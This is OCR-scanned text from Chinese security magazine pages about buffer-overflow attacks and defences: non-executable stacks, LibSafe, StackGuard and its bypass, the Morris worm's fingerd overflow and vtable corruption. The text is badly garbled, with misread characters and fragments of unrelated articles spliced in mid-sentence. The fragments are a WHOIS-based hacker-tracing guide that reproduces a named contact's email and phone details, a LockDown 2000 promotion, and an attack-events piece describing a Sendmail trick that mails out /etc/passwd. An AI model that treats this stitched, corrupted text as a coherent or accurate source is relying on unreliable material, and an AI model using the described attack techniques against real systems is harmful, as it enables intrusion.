不 幸 地 这 一 途径 看 来 不 大 可 能 成 功 。 所 以 , 这 里 将 更

深 一 步 讨 论 防御 方法 。

首先 , 为 了 消除 错误 ,很 多 程序 必须 被 检验 。 潜

在 的 目标 数字 非常 惊人 。 使 用 一 些 工具 可 以 自动 搜索

漏洞 。 例 如 , 对 于 使 用 C 库 中 的 不 安全 函数 〈 例 如

strcpy () ) 可 以 通过 一 个 简单 的 计划 进行 查找 ,并 且 用

与 缓 神 区 大 小 一 样 的 安全 功能 代替 它们 (例如 strmncpy

() )。 当 然 , 在 每 个 程序 中 使 用 手动 代码 是 巨大 并 且 很

昂贵 的 办 法 。 这 不 是 说 这 项 工作 无 法 实施 , 至 少 在

此 方法 下 至 少 有 两 个 免费 的 Unix ,OpenBSD 和 Lin-

ux 版 本 。 上 面 所 说 的 方法 似乎 已 经 获得 可 观 的 成 功 ,

从 而 为 OpenBSD 争取 到 了 当前 最 安全 的 Unix 的 名

声 。 人 们 想 知 道 为 什么 类 似 的 方法 不 能 在 商业 操作 系

统 上 实施 , 他 们 应 该 更 能 负担 这 笔 费 用 。 这 是 因为 使

用 系统 代码 审计 方法 后 , 也 无 法 保证 一 定 会 检测 出 组

冲 区 溢出 代码 。 甚至 在 一 些 已 经 被 审计 了 的 代码 中

发 现 依然 存在 缓冲 区 溢出 。

大 多 数 安装 必须 依靠 供应 商 提供 的 可 靠 代 码 。

就 算 源 代码 是 可 以 得 到 的 , 他 们 必须 发 布 他 们 也 无 法

充分 理解 的 代码 。 不 幸 的 是 , 对 于 供应 商 的 信赖 在 许

多 情况 上 被 误导 了 。 这 种 情况 似乎 还 是 传统 推荐 的

主要 途径 。 安 全 专家 建议 系统 管理 员 紧 跟 供 应 商 提供

的 安全 补丁 , 一 旦 发 布 ,立即 安装 。 这 可 能 使 系统 更 安

全 。 然 而 , 这 条 途径 有 严重 的 缺点 。 第 一 个 问题 是 ,

它 将 花费 系统 管理 员 大 量 的 时 间 和 精力 。 许 多 系统 是

由 非 专业 人 士 管理 的 , 所 以 此 方法 不 太 切 实际 且 无 法

防御 住 的 。 这 样 的 治疗 比 疾病 更 粳 糕 。 这 种 方法 无 法

保证 系统 及 时 安装 补丁 , 于 是 攻击 者 拥有 了 许多 脆弱

的 系统 , 甚 至 是 那些 已 经 修复 过 的 系统 。 更 为 恐怖 的

是 , 程序 员 们 不 停 地 在 为 每 个 新 的 操作 系统 版 本 提

供 新 危险 。

最 新 防御 手段

最 近 所 研究 的 新 的 防御 手段 要 比 以 上 讨论 的 传

统 型 途径 更 有 希望 。 以 下 我 们 就 三 种 新 方法 的 优势 和

缺点 进行 讨论 .这 3 个 方法 同样 吸引 人 的 特征 之 一 是

测试 费用 较 低 , 所 以 任何 系统 管理 员 可 以 独立 于 供应

商 进行 检测 , 并 且 这 些 测试 方法 对 一 些 尚 未 被 发 现 的

缓冲 区 溢出 危险 度 非 常 有 效 。 因 此 这 3 个 方法 的 次

通 特征 之 一 是 他 们 提供 对 当前 脆弱 的 代码 进行 了 保

护 。 这 些 方法 另外 最 重要 的 优点 是 他 们 比 起 以 前 方式

更 具有 积极 防御 性 。 他 们 不 需要 系统 管理 员 等 待 供应

商 提供 东西 来 保护 其 系统 安全 , 而 是 自身 保护 的 一 项

重要 的 措施 。

1., 葵 用 栈 执行

现在 ,一些 供 应 商 提供 这 种 防御 的 方法 。 大 多 数

系统 不 需要 曾经 在 栈 上 执行 过 的 代码 。 由 于 最 普通 的

缓冲 区 溢出 , 正 如 第 三 节 中 所 益 述 的 , 是 依靠 代码 杆

人 缓冲 区 并 且 执 行 来 实现 的 , 所 以 一 个 简单 的 解决 方

案 就 是 安装 操作 系统 时 选择 禁用 栈 执行 。 此 想法 简单

易 行 , 安 装 便利 , 并 且 相 对 有 效 地 防御 了 当前 的 攻

击 。

这 种 方法 有 一 些 严重 的 缺点 。 首 先 , 尽 管 很 少 ,

但 一 些 程序 依然 依靠 栈 来 执行 。 更 重要 地 是 , 防御 非

常 微弱 。 尽 管 在 缓冲 区 溢出 是 基于 贮存 在 缓冲 区 当前

栈 中 的 代码 执行 的 , 但 对 于 攻击 者 来 说 , 他 们 不 在 乎

攻击 代码 在 哪儿 。 攻 击 者 需要 的 是 代码 存在 于 内 存 的

某 个 地 方 以 及 知道 其 地 址 或 近似 地 址 , 从 而 溢出 返回

地 址 来 支持 控制 。 所 以 , 这 种 方法 对 于 缓冲 区 溢出 攻

击 代 码 不 存 于 栈 上 这 种 方法 无 效 。 例如 Wojtczuk 研

究 了 绕 过 无 可 执行 栈 防 御 的 方法 。

2. 更 安全 的 C 库 支 持

一 个 更 好 的 选择 是 , 如 果 我 们 能 提供 一 个 安全 版

本 的 C 库 函 数 ,来 对 付 依靠 不 安全 C 库 攻 击 覆 盖 返 回

地 址 的 方法 。 这 个 想法 似乎 被 很 多 人 同时 想到 。

Alexander Snarskii 是 第 一 个 想到 的 。 他 在 Unix 的

freeBSD 版 本 上 实现 了 此 想法 并 且 提 交 给 了 reeBSD

的 开发 组 。 不 幸 的 是 ,他 药方 法 没有 被 推广 应 用 ,也 可

能 他 没有 充分 意识 到 他 想法 实际 效用 , 即使 他 意识 到

了 ,也 没有 详细 地 在 提交 书 上 阐明 。 所 以 , Snaarskii 的

想法 与 其 实际 意义 想 比 较 没 有 获得 很 大 的 影响 力 。

Baratloo,Tsai 和 来 自 BELL 实验 室 的 Singh 相继 发 现

了 这 一 办 法 ,并 且 扎 写 了 内 容 丰 富 的 白皮书 。 贝 尔 实

验 室 工 作 组 将 库 中 具有 脆弱 性 的 函数 转换 成 为 比较

安全 的 函数 后 称 为 LibSafe, 在 其 站 点 上 可 以 免费 下

载 。

是 否 可 以 由 一 个 更 安全 C 库 版 本 来 代替 脆弱 的

函数 呢 ? 我 们 将 以 srcpy( ) 为 例 讨 论 , 但 是 方法 同样 适

用 于 任何 其 他 脆弱 的 字符 串 。 乍 看 之 下 strcpy() 似 乎

没有 可 能 会 有 更 安全 的 版 本 , 因为 strcpy () 不 知道 其

正在 拷贝 进入 的 缓冲 区 的 尺寸 。 所 以 , 要 完全 避免 组

冲 区 溢出 是 不 可 能 的 。 尽管 如 此 ,strepy () 在 栈 上

能 访问 动态 链 , 并 且 连 续 的 动态 连接 就 象 把 所 有 当前

活动 的 函数 的 激活 记录 上 做 上 限定 明亮 的 标记 一

样 。 此 方法 是 使 用 这 个 信息 防止 strcpy () 破 坏 返 回 地

址 或 动态 连接 域 。

使 用 这 些 标记 和 缓冲 区 地 址 ,strcpy () 首 先 可 以

决定 缓冲 区 中 有 哪些 活动 记录 , 或 缓冲 区 根本 不 在 栈

上 。 然 后 , strcpy () 会 发 现 区 间 [a, pb] 间 包含 在 缓冲 区

中 的 连续 动态 连接 。 缓 冲 区 在 其 第 一 激活 记录 下 面 ,

又 在 最 后 激活 的 记录 上 面 , 所 以 可 以 确定 A 或 了 的

值 。 一 且 ,A 或 B 值 确定 ,我 们 计算 缓冲 区 的 上 限 。 例

如 , 如 果 缓 冲 区 向 向 栈 的 底部 发 展 , 那么 | 缓冲 区 -

al 就 是 缓冲 区 尺寸 的 上 限 。 这 能 使 srepy () 限制 拷

贝 的 字符 串 的 长 度 以 便 既 不 影响 动态 连接 也 不 让 返

回 地 址 被 覆盖 。 而 且 ,strcpy () 能 检测 到 这 种 企图 ,

并 记录 到 syslog , 并 且 安全 地 终止 应 用 程序 。

LibSate 没有 代替 标准 的 C 库 。 此 方法 依靠 在 标

准 C 库 前 用 LibSafe 装载 搜索 器 代替 , 以 便 安全 函数

替代 标准 库 工 作 。 这 个 计划 比 直接 替换 C 库 中 的 函数

更 灵活 。 例 如 , 可 以 使 一 个 程序 同时 使 用 C 库 和 Lib-

Safe。 通 过 设置 合适 的 环境 变量 ,LibSafe 可 以 做 为 默

认 安 装 。 但 是 从 安全 前 景 来 说 , 在 系统 上 保留 脆弱 的

函数 是 没有 必要 的 , 所 以 这 种 灵活 性 变 得 可 又 可 无

这 种 防御 手段 有 若干 个 优点 。 它 对 所 有 试图 通过

由 于 目标 程序 中 使 用 了 脆弱 的 C 库 函 数 , 导致 复制 数

据 进 入 缓冲 区 时 破坏 栈 来 达到 缓冲 区 溢出 的 攻击 都

是 有 效 的 。 此 方法 不 能 完全 防止 缓冲 区 溢出 , 因 为 它

不 知道 缓冲 区 的 真实 的 尺寸 。 它 依然 可 能 在 缓冲 区 和

动态 的 连接 之 间 造 成 溢出 。 但 却 有 效 地 防止 了 返回 地

址 和 动态 连接 域 被 重 写 。

此 方法 对 于 基于 缓冲 区 滋 出 堆 攻 击 , 或 者 那些 不

需要 通过 重 写 返回 地 址 来 获得 控制 的 攻击 都 不 能 起

到 任何 保护 作用 。 虽 然 , 这 两 个 攻击 的 类 型 更 难 实施 ,

并 且 很 少 。 此 方法 对 于 不 使 用 标准 C 库 函 数 也 没有 作

用 。 例 如, 如果 目标 程序 包含 客户 自 定义 的 特定 的 代

码 拷贝 字符 串 进 缓冲 区 , 它 将 不 被 保护 。 当 然 , 很 少

程序 会 有 这 样 的 特定 代码 。 一 般 来 说 , 它 被 认为 是 差

的 编程 员 在 “重新 发 明 车 轮 ” 一 样 , 因 此 程序 员 倾向

于 使 用 标准 库 。

尽管 依靠 特定 代码 的 程序 就 和 使 用 标准 C 库 的

那些 一 样 包含 缓冲 区 溢出 危险 , 但 他 们 很 少 有 可 能 被

检测 出 来 。 从 而 , 受到 攻击 的 可 能 性 要 小 些 。 但 是 , 通

过 这 样 的 方法 来 防范 总 不 怎么 好 。 安 全 函数 几乎 是 免

费 的 , 并 且 安 装 库 及 配置 系统 的 费用 低廉 。 另 外 一 个

优点 是 它 与 目标 程序 的 二 进 制 代码 一 起 工作 , 所 以 不

要 求 存 取 源 代码 。 最 后 , 它 没有 必要 等 供应 商 意识

到 安全 威胁 而 发 布 补 于 。 它 比 禁止 栈 执行 防御 更 具有

柔韧 性 。 尽 管 它 对 于 以 上 讨论 的 某 些 攻击 不 能 提供 防

御 , 但 是 对 于 它 用 来 防御 的 特定 攻击 型 是 很 有 效 的 ,

并 且 它 不 容易 被 绕 过 。 攻击 者 没有 办 法 进行 缓冲 区

溢出 攻击 , 因为 这 些 防御 都 发 生 在 攻击 者 有 机 会 劫持

控制 之 前 。 总 之 , 这 种 手段 通过 很 低 的 费用 改进 了 系

统 的 安全 性 ,我 们 认为 , 它 必 将 取得 胜利 。

我 们 也 提 及 Andrey Kolishak 的 BOWal 保护 。 这

是 为 Windows NT 系统 提供 的 。 这 个 解决 方案 同 更 安

全 的 库 途 径 及 在 下 一 节 阐 述 的 方法 有 些 类 似 。

Kolishak 的 方法 与 更 安全 的 库 相 类 似 的 是 , 它 用

一 个 更 安全 的 库 版 本 代替 了 包含 脆弱 库 函 数 的

DLL。 然 而 , 与 库 安 全 或 Snarskii 方法 不 同 的 是 , 它 更

象 是 缓冲 区 溢出 检测 系统 , 所 以 更 类 似 于 下 一 节 的 方

法 。 他 在 函数 进入 时 储存 返回 地 址 , 并 在 真正 返回 前

进行 核对 。 如 果 检 测 出 返回 地 址 被 破坏 , 就 不 返回 ,

这 样 就 防止 了 劫持 控制 。Kolishak 的 BOWall 也 有 两

种 方案 ,其 依靠 一 些 特定 的 Windows NT 安全 特性 。

3. 编译 器 技术

索引 范围 检查 是 100% 的 对 付 缓冲 区 溢出 攻击

的 方法 。 例 如 , 缓 冲 区 溢出 攻击 在 Java 程序 中 是 不 可

能 实现 的 , 因 为 Java 会 在 适当 的 范围 内 自动 检测 数

组 索引 。 不 幸 的 是 ,由 于 C 中 数组 和 指针 的 两 分 ,所 以

在 C 中 展开 全 范围 检测 是 不 可 能 的 。 如 果 数 组 存 取 时

具有 索引 选项 , 一 些 编译 器 可 以 提供 保护 , 例如 表达

式 buffer[i] 和 非 表 达 式 buffer + i, 当 编 译 器 编译 类

似 strecpy( charx dest ,charx src) 函数 时 , 这 2 个 参

数 只 是 指针 , 且 编 译 器 不 可 能 知道 相应 的 数组 长 度 。

所 以 编译 器 不 能 产生 在 函数 内 部 进行 范围 检测 的 代

码 。Jones 和 Kelly 实现 了 在 C 中 的 一 些 范围 检测 技

术 。

C 程序 员 由 于 相关 的 系统 开销 原因 不 很 欣赏 范

围 检查 法 , 但 是 这 种 过 度 先 占 的 性 能 仅 在 需求 最 多 的

程序 中 是 正当 的 。 快 速 性 总 是 一 个 合乎 需要 的 特征 ,

但 对 于 大 多 数 应 用 程序 来 说 , 它 比 程序 员 假 设 的 要 得

到 更 少 的 指责 。 例 如 , 对 Solaris 中 的 后 台 日 历 管理 器

进行 缓 种 区 溢出 攻击 可 以 得 到 ROOT 权限 , 然而 这 样

的 应 用 程序 为 什么 不 用 Java 写 呢 , 这 样 就 使 攻击 变 为

不 可 能 了 。 我 们 有 理由 相信 在 此 情况 下 对 性 能 的 要

求 不 是 很 苛刻 的 。 一 些 安全 缺陷 在 Java 中 被 发 现 并

且 很 快 修复 。 这 些 缺 陷 不 是 Java 安全 模型 无 效 , 它

是 非常 健全 的 , 但 是 通常 是 由 于 Java 虚拟 机 的

实现 问题 , 当然 虚拟 机 又 是 一 个 C 程序 , 因此 会 出 现

与 其 他 C 程序 一 样 的 错误 。

Cowan, 允 agle,Pu, Beattie and Walpole 设计 一 种

新 的 方法 来 解决 问题 。 他 们 的 方法 不 是 阻止 破坏 返回

地 址 和 动态 连接 , 而 是 通过 在 控制 权 被 劫持 前 检测 来

防止 攻击 的 发 生 。 如 安全 库 方法 一 样 , 其 思路 简单 且

漂亮 。 它 基于 一 种 假设 , 即 如 果 缓 冲 区 溢出 攻击 发 生

了 然后 在 缓冲 区 和 返回 地 址 之 间 的 任何 东西 都 可 能

被 破坏 。 他 们 建议 修改 编译 器 通过 适当 地 分 配 被 称

为 canary 的 额外 空间 ,来 保护 活动 记录 的 返回 地 址 和

动态 连接 在 动态 连接 之 后 及 激活 本 地 变量 之 前 。

- 当 激 活 记录 进入 栈 时 , 值 同时 在 canary 域 里 存

储 。 在 函数 返回 前 ,canary 中 的 值 被 检查 。 如 果 它 被 破

坏 ,eanary 报警 ,攻击 被 检测 。 在 这 种 情况 下 ,程序 会

随 着 一 个 关于 缓冲 区 报警 syslog 错误 而 终止 ,从 而 防

止 了 被 攻击 。 这 些 想法 在 StackGuard 中 实现 , 它 在 一

些 试 验 中 保护 了 整个 用 此 技术 重新 编译 的 Linux 版

本 。

为 了 避免 攻击 者 伪造 在 canary 中 的 值 的 可 能 性 ,

他 们 建议 同时 存储 终止 标志 , 类 似 空 字符 , 回 车 符 ,

line feed, 及 eof 这 些 payload 字符 串 , 这 些 值 将 停止 对

C 库 中 各 种 脆弱 函数 的 复制 操作 , 或 选择 一 个 canary

中 的 随机 值 , 每 次 选择 独立 地 程序 启动 , 这 将 使 攻击

者 很 难 进行 伪造 。” Bulba "和 ”Kil3r "发 现 可 以 绕 过

StackGuard 。 例 如 , 他 们 推理 如 果 一 个 指针 变量 在 组

冲 区 和 返回 地 址 之 间 , 那么 第 一 个 缓冲 区 溢出 能 破坏

这 个 指针 变量 , 而 没有 破坏 其 他 东西 ,以便 使 它 指向

返回 地 址 域 。 然 后 第 二 步 的 拷贝 操作 不 用 破坏 canary

就 能 重 写 返回 地 址 。 这 将 通过 避免 所 有 的 东西 都 位 于

缓冲 区 和 返回 地 址 之 间 而 造成 缓冲 区 溢出 的 基本 假

设 来 绕 过 StackGuard 保护 。 为 了 对 付 此 类 攻击 ,Cowan

建议 比较 好 的 选择 是 , 储存 的 值 取决 于 随机 值 和 正确

的 返回 地 址 值 。 具 体 地 说 , 他 建议 计算 这 2 个 值 的

XOR 。 这 项 反 搭 施 很 容易 实现 , 就 算 canary 没 被 改

变 , 它 也 将 检测 到 攻击 。

“Buba ”和 ”Kil3r "用 脆弱 性 代码 的 例子 表明 他

们 的 技术 。 但 是 依 我 们 所 见 , 这 些 攻击 比 必须 有 目标

程序 作为 攻击 条 件 要 严重 得 多 , 从 而 使 他 们 的 技术

成 为 当前 对 StackGuard 保护 最 有 威胁 的 技术 。 这 样 的

目标 程序 是 很 有 可 能 存在 并 且 广 泛 发 布 , 使 他 们 的 技

术 必 须 受 到 相当 的 重视 。 当 然 , 面 对 安 全 问题 时 ,人 们

”必须 小 心 谨慎 , 而 没有 防御 是 件 极 傻 的 行为 。

StackGnuard 的 性 能 开销 比 LibSafe 更 大 ,部 分 是 因

为 StackGuard 对 每 个 函数 调用 都 要 开销 , 但 是 比 起 范

围 检测 的 对 每 个 数组 的 存 取 都 需要 耗费 资源 要 好 得

多 。 但 是 在 任何 情况 下 , 这 种 资源 占用 仍然 很 小 。

StackGuard 甚至 对 自 定 义 代码 也 有 效 , 因 为 Stack-

Guard 是 一 个 缓冲 区 溢出 检测 方法 , 而 对 缓冲 区 溢出

NE

ERENISEDE

如 何 发 生 不 在 乎 。 然 而 我 们 注意 到 , 自 定义 的 攻击 代

码 与 那些 依靠 标准 函数 库 的 工作 不 同 。 在 另 一 方

面 , 假设 系统 管理 员 能 访问 被 修改 的 编译 器 , 那么 其

防御 的 花费 要 大 于 安全 库 方法 , 因 为 , 它 需要 重新 编

译 需 要 保护 的 每 一 个 目标 程序 。 这 也 意味 着 必须 有 人

能 访问 目标 程序 的 源 代 码 , 换 而 言 之 ,StackGuard 不

能 保护 没有 源 代码 的 程序 , 但 LibSafe 却 能 。

从 某 种 意义 上 来 说 ,本 节 讨 论 的 3 个 方法 是 互相

补足 , 因 此 他 们 能 独立 或 同时 被 使 用 。 而 这 样 做 以 后

对 攻击 的 坚 万 性 也 将 提高 。

缓冲 区 滥 出 变 体

前 面 提 到 的 Morris 蠕虫 使 用 了 若干 个 方法 试图

感染 一 台 机 器 , 其 中 之 一 就 是 攻击 finger 端口 来 达到

破坏 栈 的 目的 。 蠕虫 的 一 部 分 向 79 (finger) 端口 发

送 TCP/P 包 。 此 包 由 400 VAX 空 操 作 指 令 组 成 , 跟

随 着 exec” d shell 代码 , 等 到 溢出 返回 地 址 后 指向 此

代码 。 蠕 虫 也 用 同样 构造 的 包 攻 击 SUN 机 器 ,但 是 可

能 是 在 SUN 版 本 中 重 写 返回 地 址 的 错误 , 使 其 无 法

成 功 , 虽然 SUN 系统 也 是 非常 脆弱 的 ofingerd 通过 get

() 函数 将 输入 内 容 读 人 本 地 512 字 节 的 缓冲 区 然后

进行 分 析 .以 上 的 包 有 536 个 字 节 , 因 此 这 将 引起 溢

出 并 且 破 坏 返 回 地址。 一旦 控制 被 劫持 , shell 将 从 网 .

络 连 接 上 读 取 它 的 输入 并 且 将 其 输出 写 人 网 络 连 接

中 。 客 户 端 方面 只 要 发 送 了 这 样 的 包 就 会 发 送 到 感染

了 蜂 虫 的 C 程序 上 , 然后 重新 编译 并 运行 于 新 的 被 感

染 的 机 器 。

尽管 fingerd 攻击 是 一 种 直接 破坏 栈 的 攻击 , 但

最 初 的 模仿 者 很 少 。 也 许 很 少 人 意识 到 这 些 同 样 的 危

险 也 存在 于 大 多 数 的 目标 程序 中 。 另 外 的 因素 可 能 是

蠕 虫 是 相当 复杂 的 , 并 且 fingerd 攻击 只 是 它 使 用 的

若 于 个 方法 之 一 。 所 以 ,此 类 攻击 只 被 少数 人 理解 。 直

到 Levy 的 论文 发 表 后 , 黑客 界 才 逐 渐 意 识 到 , 很 多 各

序 都 能 造成 破坏 栈 的 危险 。

一 旦 破坏 栈 的 攻击 被 广泛 应 用 , 其 变 体 类 型 就 随

之 出 现 。 第 二 节 中 普通 的 缓冲 区 溢出 步骤 来 看 ,一些

程序 不 需要 步 又 1( 植 人 攻击 代码 ), 因 为 代码 可 能 已

经 在 目标 程序 中 存在 了 。 在 此 情况 下 , 步骤 2 ( 溢出

缓冲 区 ) 可 能 不 仅 破坏 返回 地 址 还 有 另外 其 他 的 资

源 。 例 如 , 可 执行 的 字符 串 代码 。 在 此 情况 下 ,控制 劫

持 工作 将 变 得 不 同 。

在 破坏 栈 的 例子 中 , 步骤 1 ( 植 人 攻击 代码 ) 能

(上 接 第 85 页 )

Technical Contact,Zone Contact:

NOC,IA (IN167) noc@ AIRMAIL. NET

214. 861. 2577

Billing Contact:

Chaney, Jim (JC12164) cfo@ AIRMAIL. NET

214. 861. 25533 (FAX) 214. 861. 2663

Record last updated on 30 - Norv - 98.

Record created on 09 - Jan -95.

Database last updated on 27 - May - 99 13: 27: 39

EDT.

Domain servers in listed order:

NS1 -EITHER. IADFW. NET 204. 178. 72. 1

NS2. IADFW. NET 204. 178. 72. 30

显然 ,这 是 一 家 美国 的 SP, 它 的 管理 机 构 及 有 关

人 员 的 地 址 .电话 传真 和 Email 等 信息 ,都 详细 列 出 来

了 ,复制 下 来 存 为 文件 .然后 ,再 用 同样 方法 , 查 出 上 游

提供 商 的 联络 信息 。 至 此 ,这 个 黑客 即 被 成 功 捕获 。

但 要 让 其 受到 应 有 惩罚 , 你 还 应 该 立即 向 他 的

ISP 及 其 它 相 关机 构 发 送 投诉 信 , 记 住 附 上 追踪 信息

通过 不 同 的 方法 完成 : 通过 目标 程序 的 输入 , 或 环境

变量 , 或 目标 程序 在 网 络 上 的 一 个 监听 端口 〈 倒 如

fingerd ,其 实 是 另 一 种 的 输入 形式 ) 。 步 又 2, 将 植 人

代码 复制 到 缓冲 区 ,然后 在 栈 中 重 写 返回 地 址 。 当 函

数 返回 错误 的 返回 地 址 时 , 控制 支持 发 生 , 并 且 执 行

攻击 代码 。

当 栈 为 步 又 2 和 3 提供 攻击 方便 时 ,我 们 来 看 看

不 包含 栈 而 通过 程序 来 支持 控制 的 方法 。 这 将 导致 一

个 完全 不 同 种 类 的 潜在 攻击 。 函 数 指针 中 存储 的 任何

结构 , 或 程序 将 路 过 步骤 3 潜在 的 目标 地 址 。 如 果

这 些 结构 能 通过 缓冲 区 溢出 被 破坏 , 那 我 们 就 有 了 一

种 潜在 的 攻击 新 技术 。 如 果 执 行 必要 的 模式 被 广泛 传

播 ,将 产生 另 一 种 危险 变 体 。

例如 , 基 于 堆 的 攻击 在 C+ + 目标 程序 上 可 能

实现 。 每 个 对 象 都 有 一 个 虚拟 函数 表 , 每 一 个 人 口 指

向 其 相应 的 对 象 成 员 函 数 。 通 过 破坏 对 象 的 虚拟 函数

表 , 当 任何 对 象 的 操作 被 调用 时 ,控制 能 被 劫持 。 不 执

(leg 文件) , 以 便 有 关机 构 进一步 查实 。 通 常 , 国外 较

大 型 的 ISP 每 24 小 时 删除 一 次 记录 文件 , 所 以 再 次

提醒 你 ,投诉 必须 尽快 。

怎么 样 ? 抓 黑客 也 并 不 难 吧 。 不 过 , 有 人 在 查找

ISP 的 联络 信息 时 , 却 颇 费 周 折 , 问题 在 娜 ? 双 hois 服

务 顺 选 择 错误 ! 目前 网 上 有 Whois 服务 器 200 余 个 ,

它们 主要 按 洲 属 和 国 别 划分 , 所 查 域名 应 与 Whois 服

务 器 对 应 ,如 要 查 国 内 的 ,可 选用 whois. cnnic, net. cn,

查 日 本 的 , 可 选用 whois. nic. aq. ip, 查 亚太 地 区 的 ,可

选 用 whois. apnic.net, 查 欧洲 的 , 可 选用

whois. ripe. net 等 。

当然 ,作为 网 络 安全 工具 , 首先 自身 得 安全 , 要

不 , 岂 不 成 了 "* 泥 鞭 萨 过 河 "?LockDown 2000 具有 口令

保护 功能 , 只 要 点 击 菜单 View/Password( 口 令 ), 就 可

以 设置 打开 LockDown 2000 窗口 的 密码 。 此 外 ,

LockDown 2000 也 适用 于 局 域 网 的 安全 保护 , 可 以 在

现 有 防火 墙 的 基础 上 ,再 加 上 一 道 “ 防 火 墙 "。 你 看 ,有

反 黑 高 手 LockDown 2000 帮忙 , 你 可 以 放心 了 吧 , 什

么 木马 呀 ,铁马 呀 ,通通 ByeByel 二

行 对 象 的 真实 操作 , 而 改 为 执行 攻击 代码 。 每 个 面向

对 象 的 程序 都 有 这 个 模式 , 因 此 在 理论 看 来 是 相当

可 行 的 。 但 是 困难 在 于 找到 邻近 对 象 的 程序 可 以 被 溢

出 的 的 缓冲 区 。 对 象 在 堆 上 被 分 配 的 顺序 取决 于 现

有 特殊 的 运行 时 间 条 件 ,这 是 不 预言 的 。 因 而 , 通 过

基于 缓冲 区 溢出 堆 的 来 破坏 虚拟 函数 表 的 攻击 机 会

比 破坏 栈 的 攻击 要 难 很 多 。

总 绪

我 们 分 析 了 各 种 缓冲 区 溢出 攻击 的 特性 , 他 们 流

行 的 原因 , 有 效 性 和 防御 费用 。 直到 最 近 , 攻击 者 似

乎 有 上 帝 之 手 的 帮助 , 传统 型 的 防御 大 部 分 无 力 阻 止

这 些 攻击 。 我 们 分 析 了 原因 。 我 们 引用 的 原因 之 中 有

传统 型 的 防御 推广 费用 , 防 御 方 法 的 反应 , 和 依靠 供

应 商 提供 操作 系统 安全 解决 方案 。 最 近 有 效 的 防御 手

段 , 打破 了 传统 的 常规 从 而 是 人 们 有 希望 在 防守 战 中

获得 胜利 。 ” 铬

文 / jliwrml

攻击 事件

攻击 的 行为 很 难 用 概念 来 说 清楚 , 也 很 难 被 发

现 。 那 么 到 底 怎 样 才 算是 一 次 网 络 攻击 呢 ? 一 种 定义

为 , 一 旦 人 侵 某 个 网 络 或 使 正在 使 用 的 网 络 瘫痪 , 这

样 就 可 以 说 进行 了 网 络 攻击 。 从 现在 的 法 律 规定 : 非

法 入 侵 或 进入 他 人 计算 机 的 , 给 他 人 的 保密 文件 进行

查看 、 毁 坏 等 ,都 属于 违反 了 法 律 。 这 样 看 来 ,上面 说

的 那个 定义 是 成 立 的 。 但 是 ,攻击 的 事件 ,一 般 是 仅仅

发 生 在 和 人 侵 者 行 为 完成 并 且 已 在 目标 网 络 之 内 。 所 以

说 , 更 简单 的 一 个 说 法 就 是 : 某 个 入侵 者 在 目标 计算

机 上 开始 “工作 ”的 那个 时 刻 起 ,攻击 就 已 经 开始 了 。

人 侵 者 通常 都 是 需要 一 段 时间 来 完成 攻击 。 而 在

这 段 时 间 , 攻击 者 将 收集 目标 主机 信息 , 观察 目标 主

机 的 反应 。 这 样 的 行为 不 能 定义 成 攻击 。 因 为 从 法 律

上 讲 ,他 并 未 连续 的 发 生 , 与 平常 的 用 户 是 一 样 的 ,所

以 不 能 和 攻击 说 在 一 起 。 当 攻击 者 发 现 目标 系统 一 直

在 做 日 志 的 时 候 , 也 许 他 会 一 直 耐 心 等 待 , 等 待 时 机

的 出 现 。

系统 管理 员 对 异常 信息 反应 的 激烈 程度 是 不 一

样 的 。 有 的 是 干脆 不 当 一 回 事 。 而 某 些 比 较 有 经 验 的

攻击 者 就 先进 行 探视 进攻 , 看 看 管理 员 对 攻击 的 反

应 。 然 而 大 部 分 的 管理 员 都 不 会 去 处 理 这 样 的 简单 信

息 。 除 非 这 些 信 息 带 有 明显 的 攻击 迹象 。 如 :多 次 尝试

用 一 个 用 户 来 登陆 。

一 个 明显 攻击 的 例子 是 有 人 企图 利用 旧版 本 的

Sendmail。 就 是 入 侵 者 在 25 端口 上 发 出 了 两 个 命令 ,

这 些 命令 是 想 欺 骗 服 务 器 将 /ete/passwd 文件 的 找 贝

编者 按 :黑客 的 攻击 方式 多 种

多 样 , 所 要 达到 的 目的 也 各 不 相同 ,

其 中 最 为 恶劣 的 当 数 “拒绝 服务 攻

击 ” 了, 象 关 掉 计 算 机 主机 电源 、 拔

掉 网 线 、 向 服务 器 发 送 大 量 无 用 信

息 、 制 造 网 络 风暴 、 占 据 网 络 带宽 等

等 ,都 属于 “拒绝 服务 攻击 ”, 由 于 攻

击 造成 后 果 十 分 严重 , 所 以 网 管 们

要 倍加 小 心 。 本 文 剖析 了 各 种 “拒绝

服务 攻击 ”的 方法 、 效 果 及 特点 , 和 项

望 能 引起 大 家 的 重视 。

用 电子 邮件 的 形式 发 送 给 入 侵 者 。 很 显然 这 样 的 信息

会 使 管理 员 注 意 。 然 而 当 出 现 showmount 命令 询问 信

息 时 ,情况 会 有 所 不 同 。Showmount 的 出 现 是 一 个 不 祥

的 预兆 。 但 是 这 个 不 能 做 为 要 进行 攻击 的 证 据 。 实际 :

上 ,他 最 多 是 表明 某 个 人 打算 要 人 侵 。

其 实 , 象 这 样 的 关系 , 信 息 技术 也 有 很 多 的 不

足 。 几 个 不 同 的 访问 地 址 不 足以 使 管理 员 关 注 ,但 是 ,

大 量 的 扫描 会 使 管理 员 立 刻意 识 到 问题 的 存在 。 这 样

看 来 , 最 多 能 知道 哪个 计算 机 有 安全 漏洞 可 利用 ,人

侵 者 才 会 发 起 攻击 。

所 以 ,在 这 里 ,要 建议 广大 的 网 络 管理 员 , 了 解 攻

击 者 的 行为 和 特征 , 做 好 防范 工作 , 是 保障 网 络 正常

运行 的 前 提 。 而 且 要 养 成 具有 安全 防范 意识 。 及 时 发

现 异 常 , 补 住 系统 漏洞 。

攻击 的 原因 极其 目的

对 攻击 者 的 目的 有 一 定 的 了 解 , 使 我 们 能 够 更 好

地 对 可 能 出 现 的 攻击 有 了 防范 意识 。 下 面 我 们 要 从 各

个 角度 来 介绍 攻击 者 或 者 说 黑客 想 要 攻击 的 原因 和

所 要 达到 的 目的 。

1. 获得 超级 用 户 的 权限

一 旦 有 了 超级 用 户 的 权限 , 就 可 以 做 事情 。 所 以

每 个 人 侵 者 都 希望 得 到 超级 用 户 的 权限 。 取 得 这 种 权

限 后 ,可 以 完全 隐藏 自己 的 行踪 ,在 系统 中 , 留 下 一 个

方便 的 后 门 。 使 自己 得 到 更 多 的 好 处 。

在 UNKX 系统 中 , 运行 网 络 监听 程序 必须 要 有 这

样 的 权限 。 在 上 面 的 章节 中 我 们 已 经 讲 到 过 。 因 此 ,在

同一 个 网 络 中 , 只 要 掌握 了 一 台 计 算 机 主机 , 那么 可

以 这 样 不 夸张 地 说 ,掌握 了 整个 的 子 网 。

2. 进程 的 执行

